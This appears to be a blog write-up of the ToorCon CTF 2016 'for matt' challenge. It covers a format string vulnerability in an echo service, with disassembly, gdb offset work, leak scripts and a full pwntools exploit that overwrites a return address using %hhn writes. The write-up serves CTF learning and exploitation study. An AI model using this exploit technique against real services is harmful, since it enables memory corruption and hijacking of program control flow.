./blog    github    about

for matt

for matt - toorcon ctf 2016

We are told that there exists a vulnerability in the given executable and it’s running at a given ip and port number. I had a feeling from the name of the challenge it was a format string bug.

To use format string vulnerabilities one should note that the printf family of functions takes a variable number of arguments and cannot expect the number of arguments passed prior to being called. It uses the format string to evaluate how many arguments are passed and where on the stack they exist. Therefore if user controlled input is provided to it directly (without using a format specifier) then an attacker can read and write arbitrary memory locations.

Echo is our vulnerable function with user input being passed directly to sprintf:

[0x080486b0]> pdf@sym.echo
╒ (fcn) sym.echo 236
│   sym.echo ();
│           ; var int local_412h @ ebp-0x412
│           ; var int local_20ch @ ebp-0x20c
│           ; var int local_ch_2 @ ebp-0xc
│           ; var int local_4h @ esp+0x4
│           ; var int local_8h @ esp+0x8
│           ; var int local_ch @ esp+0xc
│           ; CALL XREF from 0x08048b18 (sym.main)
│           0x0804880a      push ebp
│           0x0804880b      mov ebp, esp
│           0x0804880d      sub esp, 0x428
│           0x08048813      mov dword [esp + local_8h], 0x200 
│           0x0804881b      mov dword [esp + local_4h], 0
│           0x08048823      lea eax, [ebp - local_20ch]
│           0x08048829      mov dword [esp], eax
│           0x0804882c      call sym.imp.memset
│           0x08048831      mov dword [esp + local_8h], 0x206 
│           0x08048839      mov dword [esp + local_4h], 0
│           0x08048841      lea eax, [ebp - local_412h]
│           0x08048847      mov dword [esp], eax
│           0x0804884a      call sym.imp.memset
│           ; LEA obj.comm_fd ; "ed Hat 4.8.3-9)" @ 0x8049fe8
│           0x0804884f      mov eax, dword [obj.comm_fd]
│           0x08048854      mov dword [esp + local_ch], 0
│           0x0804885c      mov dword [esp + local_8h], 0x200 
│           0x08048864      lea edx, [ebp - local_20ch]
│           0x0804886a      mov dword [esp + local_4h], edx
│           0x0804886e      mov dword [esp], eax
│           0x08048871      call sym.imp.recv
│           0x08048876      mov dword [ebp - local_ch_2], eax
│           0x08048879      mov eax, dword [ebp - local_ch_2]
│           0x0804887c      mov dword [esp + local_4h], eax
│           ; LEA str.Recv:__d_n ; "Recv: %d." @ 0x8048c49
│           0x08048880      mov dword [esp], str.Recv:__d_n
│           0x08048887      call sym.imp.printf
│           0x0804888c      cmp dword [ebp - local_ch_2], 0
│       ┌─< 0x08048890      jle 0x80488f1
│       │   0x08048892      lea eax, [ebp - local_412h]
│       │   0x08048898      mov dword [eax], 0x56434552 
│       │   0x0804889e      mov word [eax + 4], 0x3a    
│       │   0x080488a4      lea eax, [ebp - local_20ch]
│       │   0x080488aa      mov dword [esp + local_4h], eax
│       │   0x080488ae      lea eax, [ebp - local_412h]
│       │   0x080488b4      add eax, 5
│       │   0x080488b7      mov dword [esp], eax
│       │   0x080488ba      call sym.imp.sprintf
│       │   0x080488bf      lea eax, [ebp - local_412h]
│       │   0x080488c5      mov dword [esp], eax
│       │   0x080488c8      call sym.imp.strlen
│       │   ; LEA obj.comm_fd ; "ed Hat 4.8.3-9)" @ 0x8049fe8
│       │   0x080488cd      mov edx, dword [obj.comm_fd]
│       │   0x080488d3      mov dword [esp + local_ch], 0
│       │   0x080488db      mov dword [esp + local_8h], eax
│       │   0x080488df      lea eax, [ebp - local_412h]
│       │   0x080488e5      mov dword [esp + local_4h], eax
│       │   0x080488e9      mov dword [esp], edx
│       │   0x080488ec      call sym.imp.send
│       └─> 0x080488f1      mov eax, dword [ebp - local_ch_2]
│           0x080488f4      leave
╘           0x080488f5      ret
[0x080486b0]>

I had to find the offset needed to leak the return address so that we could write in the address of the secretFunction. I calculated the return address from the saved ebp (since %n takes a pointer, we need the return address’s address on the stack) which I was able to leak by calculating the distance from the end of our input buffer.

Observe the size of our buffer in the disassembly for the echo function; buf is where are our input is.

.text:0804880A buf             = byte ptr -412h
.text:0804880A s               = byte ptr -20Ch
.text:0804880A var_C           = dword ptr -0Ch

I leaked the address with what is called direct parameter access by some and the ‘dollar sign trick’ by others. The idea is you can use a format specifier like so: %2$08x to print the second argument to printf in hex, padded to a length of eight with zeroes. When finding the index to the saved ebp I used the size of our buffer divided by 4, since each stack entry holds 4 bytes.

gef➤  p/d 0x412
$1 = 1042
gef➤  p/d 1042 / 4
$2 = 260 
gef➤

Finding the index for the saved ebp was straightforward after getting past our huge buf variable, I made note of the address echo returns to; 0x80488b1d and ran a program like the following.

#!/usr/bin/python

from pwn import *

r = remote('localhost', 6600)
log.info(r.recv())

for i in range(260, 270):
        r.send("%{}$08x".format(str(i)))
        r.recvuntil("RECV:")
        log.info("i = {}: {}".format(str(i), r.recv()))

r.close()
➜  ~ python getebp.py
[+] Opening connection to localhost on port 6600: Done
[*] hello speedracers...
[*] i = 260: 00000000
[*] i = 261: 00000000
[*] i = 262: 00000011
[*] i = 263: f76d9000
[*] i = 264: ffc75d10
[*] i = 265: ffc75d68 <-- saved ebp
[*] i = 266: 08048b1d
[*] i = 267: 00000005
[*] i = 268: 08048d1b
[*] i = 269: 00000015
[*] Closed connection to localhost port 6600

While running the program in gdb and making note of the saved ebp (0xffffd658 in the following example) one can deduce the offset for the stack address address where the return address is saved. In the following example you see the top of the stack when eip is at 0x0804880b (echo subroutine).

0xffffd5f8│+0x0000: 0xffffd658  →  0x0   ← $esp
0xffffd5fc│+0x0004: 0x08048b1d  →  <main+551>: mov DWORD PTR [esp+0x4c],eax

Now I could calculate the offset to get the return address.

gef➤  p/x 0xffffd658 - 0xffffd5f8  <-- from main's stack frame to echo's
$2 = 0x60
gef➤  x/xw 0xffffd658 - 0x60 + 4   <-- return address :)
0xffffd5fc:     0x08048b1d
gef➤

My plan was to conveniently place the pointer to the return address at the beginning of the input and pass the address to printf with direct parameter access. To find the necassary index I wrote some python like we did for ebp.

#!/usr/bin/python

from pwn import *

r = remote('localhost', 6600)
log.info(r.recv())

for i in range(0, 150):
        r.send("AAAA%{}$08x".format(str(i)))
        r.recvuntil("RECV:")
        recieved =  r.recv()
        log.info("i = {}: {}".format(str(i), recieved))
        if '41414141' in recieved:
                success("i = {}: {}".format(str(i), recieved))
                break

r.close()

The script above, when run; shows that the index to our input is 134

To overwrite echo’s return address we need only to write the 2 least significant bytes since echo’s return address is 0x8048b1d and the address of the secretFunction is 0x80487b0. We can calculate the number of bytes we have to print in order to write the secretFunction address to the return address by simply converting the two desired bytes to decimal.

gef➤  p/d 0x87
$1 = 135
gef➤  p/d 0xb0
$2 = 176
gef➤

Thus we calculated the format string in python

p32(raplus1) + p32(return_addr)\
+ "A" * (135 - 8) + "%134$hhn" + "A" * (176 - 143 + 8) + "%135$hhn"

Where the 143 + 8 is needed to offset the bytes written for one byte prior to writing the other byte.

➜  ~ python pwn66600.py
[+] Opening connection to eric.32774074faceba7c.ctf.land on port 6600: Done
[*] found RA @ ffd0534c
[*] Switching to interactive mode
RECV:MSLSA ..<alot of A>.. A$ SpacesInsteadOfTabs?!

full exploit:

#!/usr/bin/python

from pwn import *

# 134 is our input str
# 265 is our saved ebp

# RA is @ saved ebp - 0x60 + 0x4

# read out & save saved ebp
# calculate address of RA
# write this address at the beginning of
# the string and write with secret functions addr 

r = remote('eric.32774074faceba7c.ctf.land', 6600)
r.send("%265$08x")
r.recvuntil("RECV:")
saved_ebp = pack(u32(r.recv().decode('hex')), 32, "big")

return_addr = u32(saved_ebp) - 0x60 + 4
raplus1 = u32(saved_ebp) - 0x60 + 4 + 1

log.info("found RA @ {:x}".format(return_addr))

r.send(p32(raplus1) + p32(return_addr) \
        + "A" * (135 - 8) + "%134$hhn" \
        + "A" * (176 - 143 + 8) \
        + "%135$hhn")
        # first one is 0x87, second one is 0xb0

r.interactive()

r.close()